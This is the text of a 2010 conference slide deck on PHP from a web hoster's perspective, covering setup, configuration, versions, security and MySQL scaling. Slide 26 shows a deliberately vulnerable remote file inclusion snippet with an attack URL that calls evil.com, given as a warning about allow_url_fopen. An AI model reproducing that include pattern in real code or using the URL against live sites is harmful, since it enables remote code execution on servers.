Php through the eyes of a hoster pbc10
•
1 gefällt mir•2,561 views
Slides for my "PHP through the eyes of a hoster" talk at PHP Barcelona Conference 2010
Empfohlen
Weitere ähnliche Inhalte
Was ist angesagt?
Was ist angesagt? (20)
Andere mochten auch
Andere mochten auch (20)
Ähnlich wie Php through the eyes of a hoster pbc10
Ähnlich wie Php through the eyes of a hoster pbc10 (20)
Mehr von Combell NV
Mehr von Combell NV (20)
Kürzlich hochgeladen
Kürzlich hochgeladen (20)
Php through the eyes of a hoster pbc10
- 1. PHP through the eyes of a hoster Thijs Feryn Support manager +32 (0)9 218 79 06 thijs@combellgroup.com PHP Barcelona Conference Saturday October 30th 2010 Barcelona Spain
- 2. About me I’m the support manager at Combell
- 3. About me I’m a board member at PHPBenelux
- 4. I live in the wonderful city of Bruges MPBecker -‐ Bruges by Night hOp://www.flickr.com/photos/galverson2/3715965933
- 5. Follow me on Twi0er: @ThijsFeryn Rate my talk: h0p://joind.in Read my blog: h0p://blog.feryn.eu
- 8. Chapter I : The hoster, a genuine stakeholder in the PHP universe
- 9. Stakeholders Customer Development company Endusers MGMT Internal IT Internal PM Devs Sales MGMT QA Design Systeam PM Consultants Hoster PHP community
- 10. Stakeholders Your app needs to be hosted Somewhere along the road ...
- 11. Goals & moKves Our goals & mo]ves are the same as yours: • It has to work • It has to perform • It has to scale • It has to be secure • It has to be available
- 15. Chapter II: InstallaKon & configuraKon
- 16. Installing from source server$ ./configure -‐-‐prefix=/usr/local/php-‐5.2.10 -‐-‐with-‐apxs2=/usr/local/httpd-‐2.2.12/bin/apxs -‐-‐ with-‐zlib -‐-‐with-‐curl -‐-‐with-‐gd -‐-‐enable-‐mbstring -‐-‐with-‐mysql -‐-‐with-‐mysqli -‐-‐enable-‐pcntl -‐-‐with-‐ pdo-‐mysql -‐-‐with-‐readline -‐-‐enable-‐soap -‐-‐with-‐xsl -‐-‐with-‐mcrypt -‐-‐with-‐mssql -‐-‐with-‐snmp -‐-‐with-‐imap -‐-‐with-‐kerberos -‐-‐with-‐imap-‐ssl -‐-‐with-‐config-‐ file-‐path=/etc/php5/ -‐-‐enable-‐sockets -‐-‐with-‐ freetype-‐dir -‐-‐with-‐openssl server$ make server$ make install
- 17. Installing using a package manager (APT/ApKtude) Install PHP: Install MySQL library for PHP: server$ apt-‐get install php5 server$ apt-‐get install php5-‐mysql
- 18. SAPI ... schmapi Mod_php FastCGI CLI Web Apache module gateway -‐ Process Apache process php-‐cgi php Configura]on Apache conf files wrapper on the fly User Apache user shell user or suexec user shell user
- 19. FastCGI Example config: • Apache handler <IfModule mod_fcgid.c> SuexecUserGroup dev dev PHP_Fix_Pathinfo_Enable 1 <Directory /var/www/dev/www/> Options +ExecCGI AllowOverride All AddHandler fcgid-‐script .php FCGIWrapper /var/www/dev/etc/fcgi.wrapper .php Order allow,deny Allow from all </Directory> </IfModule>
- 20. FastCGI Example config: • Wrapper script #!/bin/sh PHPRC=/usr/local/php-‐5.3.1/etc export PHPRC export PHP_FCGI_MAX_REQUESTS=5000 export PHP_FCGI_CHILDREN=8 exec /usr/local/php-‐5.3.1/bin/php-‐cgi
- 21. INI seQngs: tales of good & evil
- 22. INI seQngs: tales of good & evil Defining INI se<ngs: • Php.ini • Ini_set() • “-‐d” • php_value • php_flag • php_admin_value • php_admin_flag
- 23. INI seQngs: tales of good & evil Memory_limit: Fatal error: Allowed memory size of 16777216 bytes exhausted (tried to allocate 35 bytes)
- 25. INI seQngs: tales of good & evil Safe_mode & Open_basedir: <IfModule mod_php5.c> php_admin_flag engine on php_admin_flag safe_mode off php_admin_value open_basedir "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
- 26. INI seQngs: tales of good & evil Allow_url_fopen: <?php $lang= $_GET['lang']; require("$lang.php"); http://domain.ext/index.php?lang=http://evil.com/hack.txt?
- 27. Chapter III: Versions & features
- 28. PHP 4: End of life, but far from dead
- 29. PHP 4: End of life, but far from dead Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in test.php on line 4
- 30. Developers love bling bling
- 31. It HAS to be PHP 5.3.2 !!!
- 32. I need ALL PHP extension !!!
- 33. I use ALL PHP features !!!
- 34. Fruit & vegetables: PEAR & PECL
- 35. Fruit & vegetables: PEAR & PECL PEAR PHP Extension and Applica]on Repository (h#p//pear.php.net) server$ pear install date server$ lynx -‐source http://pear.php.net/go-‐pear | php
- 36. Fruit & vegetables: PEAR & PECL PECL (pickle) PHP Extension Community Library (h#p//pecl.php.net) server$ pecl install pecl_http
- 37. Popular frameworks outside the PHP project External frameworks
- 38. Chapter IV: PHP a0racts a crowd
- 39. It’s easy !
- 40. That easy ! <?php echo "Hello world!";
- 41. It’s cheap !
- 42. It’s stable !
- 43. Everyone can be a PHP developer
- 44. But not everyone has what it takes
- 45. Luckily there’s a lot ready-‐to-‐use PHP soiware out there
- 46. Who you gonna call ?
- 47. But when helpers need help ...
- 48. They reach out to the PHP community Blogs Forums User Group mee]ngs Conferences PHP.net TwiOer IRC
- 49. Chapter V: Here be phpirates
- 51. Fact “The majority of hacking/absue cases are PHP related”
- 52. False assumpKons “Open source is evil” “PHP has lots of security vulnerabili]es and is not mature”
- 53. Here be phpirates The real issues • Quality of the code • Network & server security • PHP version & configura]on
- 54. ResponsibiliKes
- 57. Scalability == constant speed under increasing load
- 58. Scaling up
- 59. Scaling out
- 60. Developers (some2mes) forget ...
- 61. Scaling MySQL
- 62. mysql> explain SELECT field1, (SELECT COUNT(*) FROM table2 WHERE field3 = table1.id) FROM table1 WHERE field2 = 1 ORDER BY field4 DESC limit 12,12; *************************** 1. row *************************** id: 1 select_type: PRIMARY table: table1 type: ALL possible_keys: approved key: approved key_len: NULL ref: NULL rows: 3143 Extra: Using where; Using filesort *************************** 2. row *************************** id: 2 select_type: DEPENDENT SUBQUERY table: table2 type: ALL possible_keys: NULL key: NULL key_len: NULL ref: NULL rows: 1005 Extra: Using where
- 63. mysql> show processlist; +-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐ +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+ | Id | User | Host | db | Command | Time | State | Info | +-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐ +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+ | 63515 | root | localhost | db | Query | 0 | NULL | show processlist | | 81763 | root | localhost | db | Sleep | 105 | | NULL | | 85187 | root | localhost | db | Query | 0 | Sending data | SELECT data from someTable where field = 'val' | | 82701 | root | localhost | db | Query | 0 | Copying to tmp table | SELECT data from someTable where field='val2' | | 82709 | root | localhost | db | Query | 0 | Sorting result | SELECT data from someTable where order by field | | 82716 | root | localhost | db | Query | 0 | Opening tables | SELECT data from someOtherTable | +-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐ +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
- 64. Scaling MySQL with replicaKon
- 67. Memcached
- 68. Gearman
- 69. Varnish
- 70. Summary
- 71. Summary 1.Hosters are a genuine stakeholder in the PHP universe 2.PHP is highly flexible & configurable. Hosters have to ensure a decent setup 3.PHP has a lot to offer feature-‐wise 4.PHP aOracts a crowd and brings a lot of people together from different industries (e.g. hosters) 5.Lots of abuse cases are PHP related, but that’s not the fault of PHP itself 6.PHP itself doesn’t scale *that* well, but is flexible enough to ensure scalability via extra tools
- 74. Q&A